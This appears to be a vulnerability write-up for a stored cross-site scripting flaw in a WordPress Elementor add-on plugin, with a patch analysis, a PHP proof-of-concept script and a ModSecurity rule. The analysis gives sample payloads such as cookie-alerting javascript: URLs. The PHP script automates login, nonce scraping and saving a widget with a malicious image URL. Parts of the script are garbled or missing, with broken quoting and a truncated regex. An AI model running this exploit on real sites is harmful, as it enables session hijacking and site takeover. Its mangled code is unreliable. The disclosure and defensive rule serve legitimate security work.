CVE-2026-57620: Exclusive Addons for Elementor <= 2.7.9.8 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

{
“analysis”: “Atomic Edge analysis of CVE-2026-57620:nnThis vulnerability is a Stored Cross-Site Scripting (XSS) in the Exclusive Addons for Elementor plugin for WordPress, affecting versions up to and including 2.7.9.8. The flaw exists in four widget files: image-comparison, infobox, logo-box, and pricing-menu. An authenticated attacker with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a user accesses the compromised page. The CVSS score is 6.4 (Medium).nnThe root cause is insufficient input sanitization and output escaping in the widget JavaScript template rendering functions. In each vulnerable file, the `elementor.imagesManager.getImageUrl()` method returns a URL string from user-supplied image settings. The code directly assigns this return value to a JavaScript variable (`imageOneURL`, `imageTwoURL`, `image_url`) without applying any escaping or sanitization. Specifically, in `exclusive-addons-for-elementor/elements/image-comparison/image-comparison.php` lines 648-670, `exclusive-addons-for-elementor/elements/infobox/infobox.php` line 1030, `exclusive-addons-for-elementor/elements/logo-box/logo-box.php` line 410, and `exclusive-addons-for-elementor/elements/pricing-menu/pricing-menu.php` line 1039, the raw URL from `getImageUrl()` passes directly into the template output. When an attacker uploads a crafted image with a malicious filename containing JavaScript, or manipulates the image URL field to contain script payloads, the unescaped value is rendered in the page’s HTML, allowing XSS.nnTo exploit this vulnerability, an attacker with a Contributor-level account (or higher) accesses the WordPress admin dashboard and opens the Elementor editor on a page or post. In the editor, they add any of the four vulnerable widgets (Image Comparison, Info Box, Logo Box, or Pricing Menu). The attacker then sets the widget’s image source to either an uploaded image with a malicious filename (e.g., `.jpg`) or directly enters a crafted image URL in the widget settings containing a JavaScript payload (e.g., `javascript:alert(document.cookie)` or `” onload=”alert(1)`). When the page is saved or previewed, the generated template output includes the unsanitized payload. Any user viewing the page (including administrators or visitors) triggers the XSS, executing the attacker’s script in their browser context.nnThe patch, present in version 2.7.9.9, applies the Underscore.js `_.escape()` function to the output of `elementor.imagesManager.getImageUrl()` in all four vulnerable files. Before the patch, the code directly assigned `var image_url = elementor.imagesManager.getImageUrl( image );`, which preserved any HTML or JavaScript in the returned string. After the patch, the code reads `var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );`. The `_.escape()` function converts special HTML characters (like “, `”`, `&`) into their safe entity equivalents (e.g., `<`, `>`, `"`, `&`). This prevents injected scripts from being interpreted as HTML or JavaScript when the value is rendered in the page. The patch also updates the plugin version number from 2.7.9.8 to 2.7.9.9 in `exclusive-addons-elementor.php` lines 3 and 27, and fixes a separate but related issue in the post-duplicator extension (lines 31-38) where the post title was not sanitized before being output in an HTML attribute.nnIf successfully exploited, this vulnerability allows an authenticated attacker to inject arbitrary JavaScript into a WordPress page. The script executes in the browser of any user who visits the compromised page. The impact includes session hijacking (by stealing cookies), exfiltration of sensitive data (such as nonces, API keys, or form data), defacement of the page content, and potentially full site takeover if the attacker targets an administrator’s session. Because the XSS is stored, it persists on the page indefinitely and affects all future visitors without requiring any additional interaction from the victim.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-57620 – Exclusive Addons for Elementor <= 2.7.9.8 – Authenticated (Contributor+) Stored Cross-Site Scriptingnn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookiejar.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnif (strpos($response, ‘Dashboard’) === false && strpos($response, ‘wp-admin’) === false) {n die(‘Login failed. Check credentials or CAPTCHA.’);n}necho “[*] Login successful.\n”;nn// Step 2: Get a nonce for creating/editing a page via Elementorn// Navigate to the post editor to obtain the nonce (simplified: we use a dummy ID for a new page)n$nonce_url = $target_url . ‘/wp-admin/post-new.php?post_type=page’;n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $nonce_url);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookiejar.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code !== 200) {n die(‘Failed to access post editor. Check user permissions.’);n}necho “[*] Accessed post editor.\n”;nn// Extract Elementor nonce from the pagenpreg_match(‘/var elementorAjaxURL = “[^”]*”[^ ‘elementor_ajax’,n ‘editor_post_id’ => 0, // 0 for new post, will be createdn ‘_nonce’ => $nonce,n ‘actions’ => json_encode(array(n ‘save_builder’ => array(n ‘action’ => ‘save_builder’,n ‘data’ => array(n ‘status’ => array(n ‘new_page’ => ‘publish’,n ‘post_title’ => $post_titlen ),n ‘elements’ => array(n array(n ‘id’ => ‘widget1’,n ‘elType’ => ‘widget’,n ‘widgetType’ => ‘exad-image-comparison’, // Change widget type as neededn ‘settings’ => array(n ‘exad_comparison_image_one’ => array(n ‘url’ => $payloadn ),n ‘exad_comparison_image_two’ => array(n ‘url’ => $target_url . ‘/wp-content/plugins/exclusive-addons-for-elementor/assets/img/placeholder.png’n )n )n )n )n )n )n ))n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookiejar.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘X-Requested-With: XMLHttpRequest’));ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code !== 200 && $http_code !== 201) {n echo “[!] AJAX save failed with status $http_code.\n”;n echo “Response: $response\n”;n} else {n // Try to extract the new post ID from the responsen $result = json_decode($response, true);n if (isset($result[‘data’][‘post_id’])) {n $post_id = $result[‘data’][‘post_id’];n echo “[+] PoC page created. Post ID: $post_id\n”;n echo “[+] Visit: ” . $target_url . /?p=’ . $post_id . “\n”;n echo “[+] If successful, moving mouse over the image area should trigger alert with cookies.\n”;n } else {n echo “[!] Could not determine post ID. Response: ” . substr($response, 0, 500) . “\n”;n echo “[*] The page may still have been created. Check the Pages list.\n”;n }n}nnecho “[*] PoC execution completed.\n”;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-57620n# Block XSS payload in image URL parameters for Exclusive Addons for Elementor AJAX requestsn# This targets the Elementor editor AJAX action that saves widget settings with image URLsnnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-57620 – Stored XSS via Elementor AJAX in Exclusive Addons for Elementor (image URL)’,severity:’CRITICAL’,tag:’CVE-2026-57620′”n SecRule ARGS_POST:action “@streq elementor_ajax” “chain”n SecRule ARGS_POST:actions “@rx “settings\s*\{\s*”(?:exad_comparison_image_one|exad_comparison_image_two|exad_infobox_image|exad_logo_box_image|exad_pricing_menu_image)\”\s*:\s*\{[^}]*\\”url\\”\\s*:\\s*\”(?:[^\”]*]*>|javascript:|on[a-z]+\\s*=|\\x22|<|>)” \n “chain,setvar:tx.xss_payload_detected=1″n SecRule TX:xss_payload_detected “@eq 1” \n “id:20261995,phase:2,deny,status:403,msg:’CVE-2026-57620 – XSS payload in widget image URL detected'””